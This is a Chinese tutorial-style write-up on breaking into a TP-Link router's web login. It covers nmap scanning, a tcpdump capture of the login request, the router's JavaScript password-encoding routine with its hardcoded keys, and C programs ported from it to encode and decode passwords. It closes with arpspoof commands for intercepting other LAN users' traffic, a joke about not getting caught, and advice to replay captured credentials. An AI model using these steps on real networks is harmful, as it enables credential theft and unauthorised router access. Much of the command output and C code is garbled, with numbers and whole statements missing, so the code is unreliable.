探寻TP-Link路由器的登录验证

提示:该案例仅供学习使用，切勿滥用！！！

查找路由器连接地址

查找ip

$ ifconfig
enp2s0: flags=<UP,BROADCAST,RUNNING,MULTICAST>  mtu
        inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
        inet6 fe80::d4ed:7daa:b8d3:c4c8  prefixlen   scopeid 0x20<link>
        ether :d7:f6:d7::ff  txqueuelen   (Ethernet)
        RX packets   bytes  (27.4 KiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (49.2 KiB)
        TX errors   dropped  overruns   carrier   collisions 

lo: flags=<UP,LOOPBACK,RUNNING>  mtu
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::  prefixlen   scopeid 0x10<host>
        loop  txqueuelen   (Local Loopback)
        RX packets   bytes  (142.8 KiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (142.8 KiB)
        TX errors   dropped  overruns   carrier   collisions 

wlp3s0: flags=<UP,BROADCAST,RUNNING,MULTICAST>  mtu
        inet 192.168.0.101  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80:::76a8:1fe8:cd16  prefixlen   scopeid 0x20<link>
        ether f0::8c:cd::  (Ethernet)
        RX packets   bytes  (6.2 MiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (1.7 MiB)
        TX errors   dropped  overruns   carrier   collisions 

可以发现，无线是连接的192.168.0.101,用nmap扫描一下地址段

$ nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-06 10:31 CST
Nmap scan report for 192.168.0.1
Host is up (.0036s latency).
Not shown:  filtered ports
PORT     STATE SERVICE
/tcp   open  http
/tcp open  upnp

Nmap scan report for 192.168.0.101
Host is up (.000064s latency).
Not shown:  closed ports
PORT    STATE SERVICE
/tcp open  netbios-ssn
/tcp open  microsoft-ds

Nmap scan report for 192.168.0.102
Host is up (.034s latency).
All  scanned ports on 192.168.0.102 are closed

Nmap scan report for 192.168.0.107
Host is up (.018s latency).
All  scanned ports on 192.168.0.107 are closed

Nmap  IP addresses ( hosts up) scanned in 23.75 seconds

通过上述发现，有开启Http 服务的地址仅仅只有192.168.0.1，测试后发现，果然是这个地址

尝试输入密码，进行抓包，查看是否可以直接获取到

密码输入123456

通过抓包发现，密码是被加密的，例如:

{"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}

整段tcpdump

$
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlp3s0, link-type EN10MB (Ethernet), capture size  bytes
:::8c:cd::
................e...(......
:: > + PTR? )
E..HtV@.@.D....e........4l..............101.0.168.192.in-addr.arpa.....
:: > + PTR? )
E..Hv.@.@.B_...e.......5.4...............101.0.168.192.in-addr.arpa.....
:: > + PTR? )
E..F{N@.@.=....e........2N..............1.0.168.192.in-addr.arpa.....
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<..@.@.....e.....t.P...i......r..+.........
............
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<|.@.@.<s...e.....v.P..(......r............
............
:: > , win , options [nop,nop,TS val  ecr ], length
E....@.@.....e.....t.P...j..~p....C!.....
........
:: > , win , options [nop,nop,TS val  ecr ], length
E..|.@.@.<z...e.....v.P..).L/......;.....
........
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<Em@.@.s....e.......P..........r.Ya.........
............
:: > , win , options [nop,nop,TS val  ecr ], length
E..4En@.@.s....e.......P.....
......Y}.....
........
:: > :, ack , win , options [nop,nop,TS val  ecr ], length : HTTP: POST / HTTP/1.1
E..6Eo@.@.q....e.......P.....
.............
........POST / HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
Content-Length:
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: http://192.168.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}
10:42:03.742580 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [.], ack 165, win 237, options [nop,nop,TS val 4211916582 ecr 83817926], length 0

查找路由器的加密算法

通过搜索，自己探测，发现加密算法在class.js中:

其加密语句为:
其中，密码为a

this.orgAuthPwd = function(a) {
    return this.securityEncode(a, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
};
this.securityEncode = function(a, c, b) {
    var d = "",
    e, f, g, h, k = 187,
    m = 187;
    f = a.length;
    g = c.length;
    h = b.length;
    e = f > g ? f: g;
    for (var l = 0; l < e; l++) m = k = 187,
    l >= f ? m = c.charCodeAt(l) : l >= g ? k = a.charCodeAt(l) : (k = a.charCodeAt(l), m = c.charCodeAt(l)),
    d += b.charAt((k ^ m) % h);
    return d
};

将上述javascript改为用C语言实现加密以及解密

加密

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {

    int L_PassWd  , L_Secret_Ket , L_Encrypted_string;

    // 待加密的字符串
    ";

    // 自己理解为秘钥和加密串
    char Secret_key[] = "RDpbLfCPsJZ7fiv";
    char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";

     , m = ;

    L_PassWd = strlen(PassWd);
    L_Secret_Ket = strlen(Secret_key);
    L_Encrypted_string = strlen(Encrypted_string);

    int e;
    e = L_PassWd  > L_Secret_Ket ? L_PassWd  : L_Secret_Ket;

    int l;

    ;l<e;l++) {
        m = k = ;

        if ( l >= L_PassWd ) {
            m = Secret_key[l];
        } else {
            if ( l >= L_Secret_Ket ) {
                k = PassWd[l];
            } else {
                k = PassWd [l];
                m = Secret_key[l];
            }

        }

        printf("%c" , (Encrypted_string[k ^ m] % L_Encrypted_string));

    }

    printf("\n");

    ;
}

执行效果

$ gcc SecurityEncode.c
$ ./a.out
0KcgeXhc9TefbwK
$ 

解密(仅仅写了用户密码长度不大于秘钥长度的)，代码未优化

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
    // 加密后的字符串
    char Encryption_String[] = "0KcgeXhc9TefbwK";

    // 自己理解为秘钥和加密串
    char Secret_key[] = "RDpbLfCPsJZ7fiv";
    char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";
    char a1;

    // 如果用户输入的登录密码长度小于等于秘钥长度，则按照秘钥来解析
    if (strlen(Encryption_String) == strlen(Secret_key)) {
        printf ("是根据秘钥来生成的加密后的密码\n");

        int l , j ;
        ;
        ;l<strlen(Secret_key);l++) {

            isok = ;
            ;j<strlen(Encrypted_string);j++) {

                if (Encrypted_string[j] == Encryption_String[l]) {

                     && (j ^ Secret_key[l]) < ) {
                        printf ("%c " , j ^ Secret_key[l]);
                        isok = ;
                    }
                }
            }
             ) {
                break;
            }
            printf ();
            printf("\n");
        }

    // 如果用户输入的登录密码长度小于等于秘钥长度，则按照用户来解析
    } else {
        printf ("是根据用户自己的密码来生成的,改天再来");

    }

    ;
}

执行效果

$ gcc DecryptCode.c
$ ./a.out
是根据秘钥来生成的加密后的密码
W J  ; (
第1个值的密码计算完毕

C J
第2个值的密码计算完毕

第3个值的密码计算完毕

o
第4个值的密码计算完毕

第5个值的密码计算完毕

-
第6个值的密码计算完毕

$ 

总结

默认情况下，tcpdump只能抓自己主机的数据包，要想实现在局域网内对其他机器进行抓包，则需要使用arp欺骗(不要被对方察觉了，不然干死你咋办)，使用方法:

开启转发
$
$ sudo sysctl -p
截获数据包
$ arpspoof -i eth1 -t host gw
$ arpspoof -i eth1 -t gw host

换个角度想，假设我们已经有这个密码密文了，还需要将密文解析成明文么，我觉得没有必要，直接模拟http do请求就可以了吧